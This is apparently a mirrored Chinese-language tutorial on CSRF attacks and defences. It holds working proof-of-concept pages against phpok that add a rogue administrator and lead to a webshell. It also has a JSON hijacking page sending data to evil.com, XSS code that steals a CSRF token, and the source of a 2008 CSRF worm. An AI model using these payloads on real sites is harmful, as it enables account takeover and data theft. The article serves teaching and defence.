邪惡的CSRF

wyzsk發表於2020-08-19
作者: superfish · 2016/05/11 10:52

0x00 什麼是CSRF


CSRF全稱Cross Site Request Forgery,即跨站點請求偽造。我們知道,攻擊時常常伴隨著各種各樣的請求,而攻擊的發生也是由各種請求造成的。

從前面這個名字裡我們可以關注到兩個點:一個是“跨站點”,另一個是“偽造”。前者說明了CSRF攻擊發生時所伴隨的請求的來源,後者說明了該請求的產生方式。所謂偽造即該請求並不是使用者本身的意願,而是由攻擊者構造,由受害者被動發出的。

CSRF的攻擊過程大致如圖:

0x01 CSRF攻擊存在的道理


一種攻擊方式之所以能夠存在,必然是因為它能夠達到某種特定的目的。比如:透過程式中的緩衝區溢位漏洞,我們可以嘗試控制程式的流程,使其執行任意程式碼;透過網站上的SQL隱碼攻擊漏洞,我們可以讀取資料庫中的敏感資訊,進而獲取Webshell甚至獲取伺服器的控制權等等。而CSRF攻擊能夠達到的目的是使受害者發出由攻擊者偽造的請求,那麼這有什麼作用呢?

顯然,這種攻擊的威力和受害者的身份有著密切的聯絡。說到這兒我們可以思考一下,攻擊者之所以要偽造請求由受害者發出,不正是想利用受害者的身份去達到一些目的嗎?換句話說,受害者身上有達到這個目的所必需的條件,

而這些必需的條件在Web應用中便是各種各樣的認證資訊,攻擊者就是利用這些認證資訊來實現其各種各樣的目的。

下面我們先看幾個攻擊場景。

0x02 場景舉例


(1)場景一:

在一個bbs社群裡,使用者在發言的時候會發出一個這樣的GET請求:

#!html
GET /talk.php?msg=hello HTTP/1.1
Host: www.bbs.com
…
Cookie: PHPSESSID=ee2cb583e0b94bad4782ea
(空一行)

這是使用者發言內容為“hello”時發出的請求,當然,使用者在請求的同時帶上了該域下的cookie,於是攻擊者構造了下面的csrf.html頁面:

#!html
<html>
    <img src=http://www.bbs.com/talk.php?msg=goodbye />
</html>

可以看到,攻擊者在自己的頁面中構造了一個發言的GET請求,然後把這個頁面放在自己的伺服器上,連結為http://www.evil.com/csrf.html。之後攻擊者透過某種方式誘騙受害者訪問該連結,如果受害者此時處於登入狀態,就會帶上bbs.com域下含有自己認證資訊的cookie訪問http://www.bbs.com/talk.php?msg=goodbye,結果就是受害者按照攻擊者的意願提交了一份內容為“goodbye”的發言。

有人說這有什麼大不了的,好,我們再看看另一個場景下的CSRF攻擊。

(2)場景二:

在一個CMS系統的後臺,發出下面的POST請求可以執行新增管理員的操作:

#!html
POST /manage.php?act=add HTTP/1.1
Host: www.cms.com
…
Cookie: PHPSESSID=ee2cb583e0b94bad4782ea;
is_admin=234mn9guqgpi3434f9r3msd8dkekwel
(空一行)
uname=test&pword=test

在這裡,攻擊者構造了的csrf2.html頁面如下:

#!html
<html>
    <form action="/manage.php?act=add" method="post">
        <input type="text" name="uname" value="evil" />
        <input type="password" name="pword" value="123456" />
    </form>
    <script>
        document.forms[0].submit();
    </script>
</html>

該頁面的連結為http://www.evil.com/csrf2.html,攻擊者誘騙已經登入後臺的網站管理員訪問該連結(比如透過給管理員留言等方式)會發生什麼呢?當然是網站管理員根據攻擊者偽造的請求新增了一個使用者名稱為evil的管理員使用者。

透過這些場景我們可以看到,CSRF攻擊會根據場景的不同而危害迥異。小到誘使使用者留言,大到垂直越權進行操作。這些攻擊的請求都是跨域發出,並且至關重要的一點,都是在受害者的身份得到認證以後發生的。另外,我們在第一個場景中攻擊時並沒有使用JavaScrpit,這說明CSRF攻擊並不依賴於JavaScript。

0x03 CSRF攻擊方式


(1)HTML CSRF攻擊:

即利用HTML元素髮出GET請求(帶src屬性的HTML標籤都可以跨域發起GET請求),如:

#!html
<link href="…">
<img src="…">
<iframe src="…">
<meta http-equiv="refresh" content="0; url=…">
<script src="…">
<video src="…">
<audio src="…">
<a href="…">
<table background="…">
…

若要構造POST請求,則必須用表單提交的方式。另外,這些標籤也可以用JavaScript動態生成,如:

#!html
<script>
    new Image().src = 'http://www.goal.com/…';
</script>

(2)JSON HiJacking攻擊:

為了瞭解這種攻擊方式,我們先看一下Web開發中一種常用的跨域獲取資料的方式:JSONP。

先說一下JSON吧,JSON是一種資料格式,主要由字典(鍵值對)和列表兩種存在形式,並且這兩種形式也可以互相巢狀,非常多的應用於資料傳輸的過程中。由於JSON的可讀性強,並且很適合JavaScript這樣的語言處理,已經取代XML格式成為主流。

JSONP(JSON with Padding)是一個非官方的協議,是Web前端的JavaScript跨域獲取資料的一種方式。我們知道,JavaScript在讀寫資料時受到同源策略的限制,不可以讀寫其他域的資料,於是大家想出了這樣一種辦法:

前端html程式碼:

#!html
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
<script type="text/javascript"> 
    function jsonpCallback(result) { 
        alert(result.a); 
        alert(result.b);
        alert(result.c); 
        for(var i in result) { 
            alert(i+":"+result[i]);//迴圈輸出a:1,b:2,etc. 
        } 
    } 
</script> 
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script>

後端的php程式碼:

#!php
<?php 
//服務端返回JSON資料 
$arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5); 
$result=json_encode($arr); 
//echo $_GET['callback'].'("Hello,World!")'; 
//echo $_GET['callback']."($result)";
//動態執行回撥函式 
$callback=$_GET['callback']; 
echo $callback."($result)";
?>

可以看到,前端先是定義了jsonpCallback函式來處理後端返回的JSON資料,然後利用script標籤的src屬性跨域獲取資料(前面說到帶src屬性的html標籤都可以跨域),並且把剛才定義的回撥函式的名稱傳遞給了後端,於是後端構造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函式呼叫過程返回到前端執行,達到了跨域獲取資料的目的。

一句話描述JSONP:前端定義函式卻在後端完成呼叫然後回到前端執行!

明白了JSONP的呼叫過程之後,我們可以想象這樣的場景:

當使用者透過身份認證之後,前端會透過JSONP的方式從服務端獲取該使用者的隱私資料,然後在前端進行一些處理,如個性化顯示等等。這個JSONP的呼叫介面如果沒有做相應的防護,就容易受到JSON HiJacking的攻擊。

就以上面講JSONP的情景為例,攻擊者可以構造以下html頁面:

#!html
<html>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
<script type="text/javascript"> 
    function hijack(result) { 
        var data = '';
        for(var i in result) {
            data += i + ':' + result[i];
        }
        new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data);//把資料傳送到攻擊者伺服器上
    } 
</script> 
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script>
</html>

可以看到,攻擊者在頁面中構造了自己的回撥函式,把獲取的資料都傳送到了自己的伺服器上。如果受害者在已經經過身份認證的情況下訪問了攻擊者構造的頁面,其隱私將暴露無疑。

我們用以下幾張圖來總結一下JSON HiJacking的攻擊過程:

(圖片來源:http://haacked.com/archive/2009/06/25/json-hijacking.aspx/

0x04 CSRF的危害


前面說了CSRF的基本概念,列舉了幾個CSRF的攻擊場景,講述了幾種CSRF的攻擊方法,現在我們來簡單總結一下CSRF攻擊可能造成的危害。

CSRF能做的事情大概如下:

1)篡改目標網站上的使用者資料;
2)盜取使用者隱私資料;
3)作為其他攻擊向量的輔助攻擊手法;
4)傳播CSRF蠕蟲。

其中前兩點我們在之前的例子中已經做了比較詳細的說明,不再贅述。第三點即將其他攻擊方法與CSRF進行結合進行攻擊,接下來我們以實際的漏洞例項來說明CSRF的第三個危害。

另外,CSRF蠕蟲就是利用之前講述的各種攻擊方法,並且在攻擊程式碼裡新增了形成蠕蟲傳播條件的攻擊向量,這一點會在本文的最後介紹。

0x05 基於CSRF攻擊例項

我們來看一下phpok的兩個CSRF漏洞如何進行最大化的利用。這兩個漏洞均來自烏雲:

  1. phpok csrf新增管理員+後臺getshell
  2. phpok csrf成功getshell(二)

(1)版本4.2.100:

在phpok該版本的後臺提交如下POST請求可以新增管理員:

#!html
POST /phpok/admin.php?c=admin&f=save HTTP/1.1
Host: www.goal.com
…
Cookie: …
(空一行)
id=…&accont=…&pass=…&status=…&if_system=…

攻擊者可以構造如下頁面:

#!html
<html>
    <div style="display:none">
        <form action="http://localhost/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
            <input type="hidden" name="id" value=""/>
            <input type="hidden" name="account" value=""/>
            <input type="hidden" name="pass" value=""/>
            <input type="hidden" name="email" value=""/>
            <input type="hidden" name="status" value=""/>
            <input type="hidden" name="if_system" value=""/>
            <input type="submit" name="up" value="submit"/>
        </form>
        <script>
            var t = document.poc;
            t.account.value="wooyun";
            t.pass.value="123456";
            t.status.value="1";
            t.if_system.value="1";
            document.poc.submit();
        </script>
    </div>
</html>

攻擊發生之前,如圖:

管理員在登入的情況下訪問攻擊者的頁面之後,如圖:

可以看到,成功新增了一名管理員。

攻擊到這裡就結束了嗎?並沒有!攻擊者利用CSRF漏洞成功進入了後臺,他還要想辦法GetShell!

在後颱風格管理-建立模板檔案的地方新增一個模板,透過抓包改包的方式繞過前端對檔案型別的判斷,如圖:

GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.html

改為GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.php

可以看到成功新增了.php檔案:

然後在編輯檔案內容為一句話木馬即可:

在此次攻擊中,攻擊者最後利用後臺新增模板處的限制不嚴格拿到了Webshell,但在此之前使攻擊者得以進入後臺的卻是CSRF漏洞,由此可以看到CSRF在這次攻擊中的重要性。

(2)還是4.2.100...

剛才我們是透過CSRF先進入後臺,然後利用後臺的其他漏洞GetShell,這次我們直接在前臺利用CSRF漏洞去GetShell怎麼樣?

phpok的前臺可以上傳.zip檔案,我們把木馬檔案test.php壓縮為test.zip;

註冊一個賬號,進入修改資料頁面;

選擇一個正常的圖片,截獲資料,如圖:

然後修改資料,如圖:

成功上傳.zip檔案,記錄下檔案id號,這裡是739。

在後臺的程式升級-ZIP離線包升級中的升級操作存在CSRF漏洞,演示如圖:

於是攻擊者可以構造如下頁面:

#!html
<html>
    <form action="http://localhost//phpok/admin.php?c=update&f=unzip" id="poc" name="poc" method="post">
        <input type="hidden" name="zipfile" value=""/>
        <input type="hidden" name="file" value=""/>
        <input type="submit" name="up" value="submit"/>
    </form>
    <script>
        var t = document.poc;
        t.zipfile.value="739";
        t.file.value="739";
        document.poc.submit();
    </script>
</html>

管理員登入後臺後訪問攻擊者的頁面,如圖:

可以看到我們的木馬檔案已經上傳到伺服器上了。

這次攻擊,我們根本沒有進入後臺,而是利用一個CSRF漏洞直接就拿到了Webshell,由此可以看出CSRF在某些場景下的威力之大,根本不亞於SQL隱碼攻擊和檔案上傳這樣的漏洞。

0x05 CSRF的防禦


前面我們瞭解了這麼多有關CSRF攻擊的東西,目的是為了明白如何防禦CSRF攻擊(真的是這樣嗎?...)。

要防禦CSRF攻擊,我們就要牢牢抓住CSRF攻擊的幾個特點。

首先是“跨域”,我們發現CSRF攻擊的請求都是跨域的,針對這一特點,我們可以在服務端對HTTP請求頭部的Referer欄位進行檢查。一般情況下,使用者提交的都是站內的請求,其Referer中的來源地址應該是站內的地址。至關重要的一點是,前端的JavaScript無法修改Referer欄位,這也是這種防禦方法成立的條件。

不過需要說明的是,有的時候請求並不需要跨域,比如我們後面講到的結合XSS進行攻擊的時候,有的時候甚至沒有Referer欄位…,這些也是使用這種防禦方法的弊病所在。

第二點是“偽造”,這也是CSRF攻擊的核心點,即偽造的請求。我們來想一下,攻擊者為什麼能夠偽造請求呢?換句話說,攻擊者能夠偽造請求的條件是什麼呢?縱觀之前我們偽造的所有請求,無一例外,請求中所有引數的值都是我們可以預測的,如果出現了攻擊者無法預測的引數值,那麼將無法偽造請求,CSRF攻擊也不會發生。基於這一點,我們有了如下兩種防禦方法:

  1. 新增驗證碼;

  2. 使用一次性token。

先看看第一種。驗證碼的核心作用是區分人和機器,而CSRF攻擊中的請求是在受害者上當的情況下由瀏覽器自動發出的,屬於機器發出的請求,攻擊者無法預知驗證碼的值,所以使用驗證碼可以很好地防禦CSRF攻擊,但毫無疑問,驗證碼會一定程度地影響使用者體驗,所以我們要在安全和使用者體驗之間找到一個平衡點。

再看看第二種方法。所謂token是一段字母數字隨機值,我們可以把它理解為一個服務端幫我們填好的驗證碼!每當我們訪問該頁面時,服務端會根據時間戳、使用者ID、隨機串等因子生成一個隨機的token值並傳回到前端的表單中,當我們提交表單時,token會作為一個引數提交到服務端進行驗證。在這個請求過程中,token的值也是攻擊者無法預知的,而且由於同源策略的限制,攻擊者也無法使用JavaScript獲取其他域的token值,所以這種方法可以成功防禦CSRF攻擊,也是現在用的最多的防禦方式。

但是,需要注意的一點是,token的生成一定要隨機,即不能被攻擊者預測到,否則這種防禦將形同虛設。另外,token如果作為GET請求的引數在url中顯示的話,很容易在Referer中洩露。還有更重要的一點:如果在同域下存在XSS漏洞,那麼基於token的CSRF防禦將很容易被擊破,我們後面再說。

除了“跨域”和“偽造”兩點,我們還可以注意到CSRF在攻擊時間上的特點:CSRF攻擊都是在受害者已經完成身份認證之後發生的,這是由CSRF攻擊的目的所決定的。基於這一點,我們還可以想出一些緩解CSRF攻擊的方法(注意是緩解),比如縮短Session的有效時間等等,可能一定程度上會降低CSRF攻擊的成功率。

總結一下上面的防禦方法如下:

  1. 驗證Referer;

  2. 使用驗證碼;

  3. 使用CSRF token;

  4. 限制Session生命週期。

其中第四種屬於緩解類方法,就不多說了。我們看一下其他三種方法都分別存在什麼弊病。

Referer最大弊病:有些請求不帶Referer;

驗證碼最大弊病:影響使用者體驗;

CSRF token最大弊病:隨機性不夠好或透過各種方式洩露,此外,在大型的服務中需要一臺token生成及校驗的專用伺服器,需要更改所有表單新增的欄位,有時效性的問題。

那麼有沒有其它的辦法能夠有效地防禦CSRF攻擊呢?xeye團隊的monyer提出了下面這樣的方法:

原理與token差不多:當表單提交時,用JavaScript在本域新增一個臨時的Cookie欄位,並將過期時間設為1秒之後在提交,服務端校驗有這個欄位即放行,沒有則認為是CSRF攻擊。

前面提到,token之所以可以防禦CSRF,是因為攻擊者無法使用JavaScript獲取外域頁面中的token值,必須要遵守同源策略;而臨時Cookie的原理是:Cookie只能在父域和子域之間設定,也遵守同源策略,攻擊者無法設定該Cookie。

下面看一個簡單的demo,前端http://127.0.0.1:8888/test.html

#!html
<html>
    <script>
        function doit() {
            var expires = new Date((new Date()).getTime()+1000);
            document.cookie = "xeye=xeye; expires=" + expires.toGMTString();
        }
    </script>
    <form action="http://127.0.0.1:8888/test.php" name="f" id="f" onsubmit="doit();" target="if1">
        <input type="button" value="normal submit" onclick="f.submit();">
        <input type="button" value="with token" onclick="doit();f.submit();">
        <input type="submit" value="hook submit">
    </form>
    <iframe src="about:blank" name="if1" id="if1"></iframe>
</html>

服務端http://127.0.0.1:8888/test.php:

#!php
<?php
echo "<div>Cookies</div>";
var_dump($_COOKIE);
?>

前端test.html頁面中有三個按鈕:第一個是正常的表單提交;第二個是新增臨時Cookie後提交表單;第三個是以hook submit事件來新增臨時Cookie並提交。

我們來演示一下效果,test.html頁面如圖:

normal submit之後:

看到只有xampp設定的一個Cookie,試一下with token按鈕:

看到我們提交的Cookie中多出了一個名為“xeye”的Cookie,再試一下hook submit:

效果和第二個相同。

透過上面的演示,我們可以看到設定臨時Cookie的效果。

不過這種方式只適用於單域名的站點,或者安全需求不需要“當子域發生XSS隔離父域”。因為子域是可以操作父域的Cookie的(透過設定當前域為父域的方式),所以這種方法的缺點也比較明顯:這種方法無法防禦由於其他子域產生的XSS所進行的表單偽造提交(注意:使用token可能也會有這樣的問題,馬上說到)。但如果對於單域站點而言,這種防禦方法的安全性可能會略大於token。

對於這種防禦方式的幾個小疑問:

  1. 網路不流暢,有延遲會不會導致Cookie失效?這個顯然是不會的,因為服務端Cookie是在提交請求的header中獲得的。延時在服務端,不在客戶端,而1秒鐘足可以完成整個表單提交過程。

  2. Cookie的生成依賴於JavaScript,相當於這個token是明文的?這是肯定的,不管採用多少種加密,只要在客戶端,就會被破解,不過不管怎樣,CSRF無法在有使用者狀態的情況下新增這個臨時Cookie欄位(同源策略)。雖然透過服務端可以,但是無法將當前使用者的狀態也帶過去(即攻擊者嘗試在自己的中轉伺服器上新增臨時Cookie,但是這種做法背離CSRF攻擊的目的了,因為受害者的Cookie(認證資訊)不會發到攻擊者的中轉伺服器上啊…順便說一句,Referer也是同樣的道理)。

  3. 如果由於某種網路問題無法獲取Cookie呢?那麼儲存使用者狀態的Cookie當然也無法獲取了,使用者只能再重新提交表單才可以,這就與CSRF無關了。

由於這種防禦策略還沒有被大規模使用,所以無法確定其是否真實有效。不過如果有效的話,這大概是一種最簡單的、對程式碼改動最小,且對伺服器壓力也最小的防禦CSRF的方法。

在攻擊方法中我們詳細講解了JSON HiJacking,那麼針對這種特定的CSRF攻擊方法,我們有沒有什麼特定的防禦方法呢?

當然有了,這裡介紹兩種:

1)在返回的指令碼開始部分加入“while(1);”:

當攻擊者透過JSON HiJacking的方式獲取到返回的JSON資料時,其攻擊程式碼會陷入死迴圈中,無法將敏感資訊傳送到自己的伺服器上,這樣就防止了資訊洩露;而正常的客戶端程式碼可以正確地處理返回的JSON資料,它可以先將“while(1);”去掉再正常處理。

這樣做相比較與其他方式CSRF的方法有一個突出的好處,即不依賴瀏覽器的邊界安全策略,而是在程式碼級別引入保護機制。

Google的部分服務就採取了這種防禦方法,具體內容可以參考下面的連結:

http://stackoverflow.com/questions/2669690/why-does-google-prepend-while1-to-their-json-responses

2) 使用POST表單提交的方式獲取JSON資料:

當前端可以使用XMLHttpRequest獲取JSON資料時,當然也可以使用POST表單的方式完成這項任務,這樣的話攻擊者就無法使用script標籤來獲取JSON資料(因為src屬性發出的是GET請求)。

縱觀這些CSRF的防禦方法,無一不是針對CSRF攻擊成立的條件進行破壞,這也是“未知攻,焉知防”道理的體現。我們在對自己的網站進行防禦的時候,要根據自己的業務場景,選擇一個最合適的防禦方案。

0x06 結合XSS的CSRF攻擊


前面我們說到了基於CSRF的攻擊,講的是在一整套攻擊中使用CSRF來達到最終目的或某個中間目的。而這裡我們要說的是:如何利用CSRF的“黃金搭檔”——XSS來輔助我們完成一次CSRF攻擊。

為什麼說XSS是CSRF的“黃金搭檔”呢?因為當XSS存在時,我們往往可以利用它來突破目標站點對CSRF攻擊的防護;還有一些情況,比如我們可以找到一些“SELF-XSS”,即只能跨自己,那麼如果可以CSRF的話,就不僅僅能跨自己了。我們標題裡說的“結合”就是指這兩種方式。

下面我們舉例說明:

1) 利用XSS竊取token之後發起CSRF攻擊

以前面0x05中的第一個例子為例,我們的目標是進入後臺。

加入新增管理員的POST請求如下(加入了token):

#!html
POST /phpok/admin.php?c=admin&f=save HTTP/1.1
Host: www.goal.com
…
Cookie: …
(空一行)
id=…&accont=…&pass=…&status=…&if_system=…&accont=…&token=…

那麼我們就不能直接構造出攻擊頁面了,因為token的值我們無法預測,一般情況下我們也無法得到token的值,但我們假設,在給管理員留言的地方存在XSS漏洞,但是管理員的Cookie加了HttpOnly屬性,我們無法透過XSS直接獲取管理員的Cookie,那該怎麼辦呢?我們可以把這兩個漏洞結合起來利用。

我們可以利用XSS在管理員的瀏覽器中執行下面的JavaScript程式碼:

#!html
<script>
    var frameObj = document.createElement("iframe");
    frameObj.setAttribute("id", "add");
    document.body.appendChild(frameObj);
    document.getElementById("add").src = "admin.php?c=admin&f=save";
    var token = document.getElementById("add").contentWindow.document.getElementById("token").value; //從iframe中的頁面中獲取token值
    var xmlhttp;
    if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp = new XMLHttpRequest();
    } else { // code for IE6, IE5
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.open("POST", "admin.php?c=admin&f=save", true);
    xmlhttp.send("id = & accont = wooyun&pass=123456&status=1&if_system=1&token=" + token); //帶上token提交新增管理員的請求
</script>

程式碼很好理解,首先我們透過iframe的方式嵌入含有token的頁面,因為同域,所以我們可以對頁面中的DOM進行讀寫操作,所以順利取得token;然後我們利用AJAX的方式帶上token提交新增管理員的請求,我們依靠XSS成功突破了頁面對CSRF攻擊的防護。

2) 結合CSRF發起XSS攻擊

(例項來源:百度某站可結合CSRF及XSS劫持賬號

在百度詞典-我的詞典處,有將生詞新增進生詞本的功能,在備註的時候沒有進行過濾,可以直接插入JavaScript程式碼。

但這顯然是一個“SELF-XSS”,只能跨自己,有什麼用呢?

再看看,頁面似乎沒有對CSRF做防護,那麼我們是不是可以利用CSRF來觸發這個XSS,讓別人跨自己呢?

構造POST請求頁面如下:

#!html
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body>
    <form id="baidu" name="baidu" action="http://dict.baidu.com/wordlist.php" method="POST">
        <input type="text" name="req" value="add" />
        <input type="text" name="word" value="Wooyun" />
        <input type="text" name="explain" value="<script src=http://xsserme></script>" />
        <input type="submit" value="submit" />
    </form>
    <script>
        document.baidu.submit();
    </script>
</body>
</html>

誘惑受害者訪問該頁面,效果如圖:

看看生詞本:

已經成功新增了一個新單詞“Wooyun”,到我們的XSS平臺上看看備註中的JavaScript程式碼有沒有執行:

程式碼成功執行!

由此可以看到,如果能夠將XSS攻擊和CSRF攻擊結合起來,會產生1+1>2的效果。

0x07 CSRF蠕蟲


說說蠕蟲。

蠕蟲有兩大特徵:

1) 傳播性;

2) 惡意行為。

蠕蟲的惡意行為是由其傳播性引起的,也就是說,凡是傳播可以做的事,蠕蟲基本上都可以做,而且還可以做些和特定蠕蟲有關的事,比如我們要說的CSRF蠕蟲就可以大批次地獲取使用者的隱私資訊(CSRF的危害之一嘛)。

所以,我們主要研究CSRF蠕蟲的傳播性。

CSRF蠕蟲的傳播性如何實現呢?在前面我們提到過,CSRF蠕蟲就是在CSRF的攻擊頁面中加入了蠕蟲傳播的攻擊向量。這聽上去感覺很容易,但實施起來恐怕還要多考慮一些東西。

仔細想想,在一個SNS網站上傳播CSRF蠕蟲有一個不得不考慮的問題:蠕蟲面對的是不同的使用者,而不僅僅是某一個受害者。那對於不同的使用者,其對應的請求(CSRF核心:偽造的請求嘛)會不會有些地方不一樣呢?

沒錯,在之前的CSRF攻擊中,我們的攻擊目標是某一個特定的個體。當我們可以預測其請求的所有引數之後,我們就可以發起攻擊。但是在SNS網站上傳播CSRF蠕蟲就不是這麼簡單。即使每個使用者的所有請求引數都可以預測,但是對於不同的使用者,其對應的請求引數是不一樣的,我們無法像前面的攻擊那樣構造攻擊頁面,必須想辦法獲取這些標識不同使用者的資料。

方法一:利用服務端指令碼獲取

在這裡,我們構造的攻擊頁面不是一個簡單的.html檔案了,而是一個服務端指令碼,如php、asp等等。

受害者的標識資訊,如使用者id等,經常出現在url中,這樣我們就可以利用服務端指令碼來獲取請求的Referer中的使用者id,以此為基礎構造出html+js的攻擊頁面,在攻擊向量中新增我們服務端指令碼的連結,以此造成蠕蟲傳播的效果。

方法二:利用JSON HiJacking技術獲取

JSON HiJacking的攻擊方法前面已經講得很詳細了,如果網站上提供了這樣的獲取資料的介面,那麼利用這種技術獲取使用者的隱私資訊是一個不錯的方法。

綜上所述,如果一個SNS網站上存在CSRF漏洞,並且我們有辦法獲取到使用者的標識資訊,那麼就滿足了CSRF蠕蟲傳播的條件,這個網站就是可蠕蟲的。

下面看一個CSRF蠕蟲例項:

這是2008年發起的一次針對譯言網(www.yeeyan.org)的CSRF蠕蟲攻擊,攻擊者的連結為http://www.evilsite.com/yeeyan.asp,服務端指令碼yeeyan.asp內容如下:

<%
'auther: Xlaile
'data: 2008-09-21
'this is the CSRF Worm of www.yeeyan.com        

r = Request.ServerVariables("HTTP_REFERER")
'獲取使用者的來源地址,如:http://www.yeeyan.com/space/show/hving        

If InStr(r, "http://www.yeeyan.com/space/show") > 0 Then
    'referer判斷,因為攻擊物件為yeeyan個人空間留言板,就是這樣的地址        

    Function regx(patrn, str)
        Dim regEx
        Dim Match
        Dim Matches
        Set regEx        = New RegExp
        regEx.Pattern    = patrn
        regEx.IgnoreCace = True
        regEx.Global     = True
        Set Matches      = regEx.Execute(str)    

        For Each Match in Matches
            RetStr          = RetStr & Match.Value & " | "
        Next    

        regx             = RetStr
    End Function    

    Function bytes2BSTR(vIn)
        Dim strReturn
        Dim i1
        Dim ThisCharCode
        Dim NextCharCode
        strReturn      = ""    

        For i1 = 1 To LenB(vIn)
            ThisCharCode  = AscB(MidB(vIn,i1,1))    

            If ThisCharCode <  & H80 Then
                strReturn    = strReturn & Chr(ThisCharCode)
            Else
                NextCharCode = AscB(MidB(vIn,i1 + 1,1))
                strReturn    = strReturn & Chr(CLng(ThisCharCode) * & H100 + CInt(NextCharCode))
                i1           = i1 + 1
            End If    

        Next    

        bytes2BSTR = strReturn
        End
        id         = Mid(r,34) '獲取使用者標識ID,如:hving
        furl       = "http://www.yeeyan.com/space/friends/" + id '使用者好友列表連結是這樣的
        Set http   = Server.CreateObject("Microsoft.XMLHTTP") '使用這個控制元件
        http.Open "GET",furl,False '同步,GET請求furl連結
        http.Send '傳送請求
        ftext  = http.ResponseText '返回請求結果,為furl連結對應的HTML內容
        fstr   = regx("show/(\d+)?"">[^1-9a-zA-Z]+<img",ftext)
        '正則獲取被攻擊使用者的所有好友的ID值,CSRF留言時需要這個值
        farray = Split(fstr , " | ")
        '下面幾句就是對獲取到的ID值進行簡單處理,然後扔進f(999)陣列中
        Dim f(999)    

        For i = 0 To UBound(farry) - 1
            f(i)    = Mid(farray(i),6,Len(farray(i)) - 16)
        Next    

        Set http = Nothing    

        s        = ""    

        For i = 0 To UBound(farray) - 1
            s       = s + "<iframe width=0 height=0 src='yeeyan_iframe.asp?id=" & f(i) & "'></iframe>" '接著迴圈遍歷好友列表,使用iframe發起CSRF攻擊
        Next    

        Response.Write(s)    

        ' Set http=Server.CreateObject("Microsoft.XMLHTTP")        

        ' http.open "POST","http://www.yeeyan.com/groups/newTopic/",False        

        ' c = "hello"        

        cc = "data[Post][content]=" & c & "&" & "ymsgee=" & f(0) & "&" & "ymsgee_username=" & f(0)    

        ' http.send cc        

    End If     
%>

其中yeeyan_iframe.asp程式碼如下:

<%
'author: Xlaile
'date: 2008-09-21
'this is the CSRF Worm of www.yeeyan.com
'id = Request("id")    

s = "<form method='post' action='http://www.yeeyan.com/groups/newTopic/' onsubmit='return false'>"    

s = s+"<input type='hidden' value='The delicious Tools for yeeyan translation:http://127.0.0.1/yeeyan.asp' name='data[Post][content]'/>    

s = s+"<input type='hidden' value=" + id + " name='ymsgee'/>"    

s = s+"<input type='hidden' value=" + id + " name='ymsgee_username'/>    

s = s+"</form>"    

s = s+"<script>document.forms[0].submit();</script>"    

Response.write(s)    

%>

這段程式碼只具備傳播性,屬於沒有惡意的實驗程式碼。從yeeyan.asp的程式碼中我們可以看到,攻擊者就是依靠Referer欄位得到了譯言使用者的id值。而yeeyan_iframe.asp是構造表單的程式碼,用來具體發起CSRF攻擊。當使用者登入譯言網,並且點選攻擊者的連結後,這個CSRF蠕蟲就會開始傳播。

0x08 還有什麼東西?


寫到這裡,我所瞭解的有關CSRF攻擊與防禦的內容就差不多寫完了。在寫前面內容的時候,我一直在有意迴避一個東西,那就是在現在的Web前端仍然佔有重要地位的Flash,以及ActionScript指令碼。

這裡就簡單補充一下,這些東西和CSRF攻擊有什麼聯絡。

首先,我們必須先介紹一個檔案——crossdomain.xml,次檔案通常在網站的根目錄下存在,比如http://www.qq.com網站上的crossdomain.xml檔案內容如下:

https://www.baidu.com網站上的crossdomain.xml檔案內容如下:

該配置檔案中的“allow-access-from domain”用來配置哪些域的Flash請求可以訪問本域的資源。如果該項值為“*”,則表示任何與的Flash都可以訪問,這是非常危險的。當存在這樣的配置時,攻擊者可以利用ActionScript指令碼輕鬆突破同源策略的限制,如下:

#!html
import flash.net. *
//請求隱私資料所在頁面    

var loader = new URLLoader(new URLRequest(http: //www.foo.com/private);    

loader.addEventListener(Event.COMPLETE, function() { //當請求完成後    
    loader.data; //獲取到隱私資料    
    //更多操作    
});

Loader.load(); //發起請求

當透過身份認證的受害者被誘惑訪問含有以上指令碼的頁面時,其隱私將可能被攻擊者盜走。

除此之外,這種跨域獲取資訊的方法還可以應用在CSRF蠕蟲之中,同樣是在2008年,飯否(www.fanfou.com)就被基於Flash的CSRF蠕蟲攻擊,當時包含飯否CSRF蠕蟲的Flash遊戲介面如下:

0x09 結束


由於水平有限,本文寫到這裡就差不多結束了,裡面是我對CSRF幾乎所有的認知,包括基本概念、攻擊原理、攻擊目的、攻擊手段以及防禦方法等等。需要特別說明的是,文中有許多內容來自《Web前端駭客技術解密》這本書。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章